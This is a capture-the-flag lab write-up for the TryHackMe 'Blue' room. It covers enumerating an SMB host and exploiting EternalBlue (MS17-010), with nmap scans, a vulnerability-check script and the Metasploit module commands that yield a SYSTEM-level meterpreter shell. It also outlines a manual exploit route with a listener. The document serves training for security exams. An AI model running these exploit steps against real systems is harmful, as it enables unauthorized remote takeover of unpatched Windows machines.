TryHackMe: Blue — exploiting EternalBlue (MS17-010)

tryhackme · Blue

Blue is built around MS17-010 — EternalBlue — the most documented Windows SMB vulnerability there is. That is the point: the room is not testing whether you can find an obscure bug, but whether your enumeration surfaces an unpatched service and whether you exploit it cleanly.

Enumerate

nmap -sC -sV -p- 10.10.10.40

SMB on 445, a Windows 7-era host. Confirm the vulnerability before firing anything at it — a targeted script beats guessing:

nmap -p445 --script smb-vuln-ms17-010 10.10.10.40

| smb-vuln-ms17-010:
|   VULNERABLE: Remote Code Execution in Microsoft SMBv1 servers (ms17-010)
|     State: VULNERABLE

Foothold: EternalBlue

The clean route is the Metasploit module, which handles the kernel-shellcode grooming for you:

msfconsole -q
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 10.10.10.40
set LHOST tun0
run

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

The manual route is worth doing once, because OSCP restricts Metasploit: the AutoBlue-MS17-010 scripts generate the shellcode (shell_prep.sh), you start a listener, then run eternalblue_exploit7.py 10.10.10.40 sc_x64.bin. Same result, and you see the exploit is a raw SMBv1 overflow rather than a magic button.

Why this matters for exams

Windows and SMB sit at the centre of OSCP, CPTS and every Active Directory path. The transferable skill is exactly this loop: the version said the host was unpatched, the vuln script confirmed it, and you exploited it deliberately instead of spraying. Where it leads next — once you have SYSTEM on a domain-joined host — is the Active Directory attack paths reference.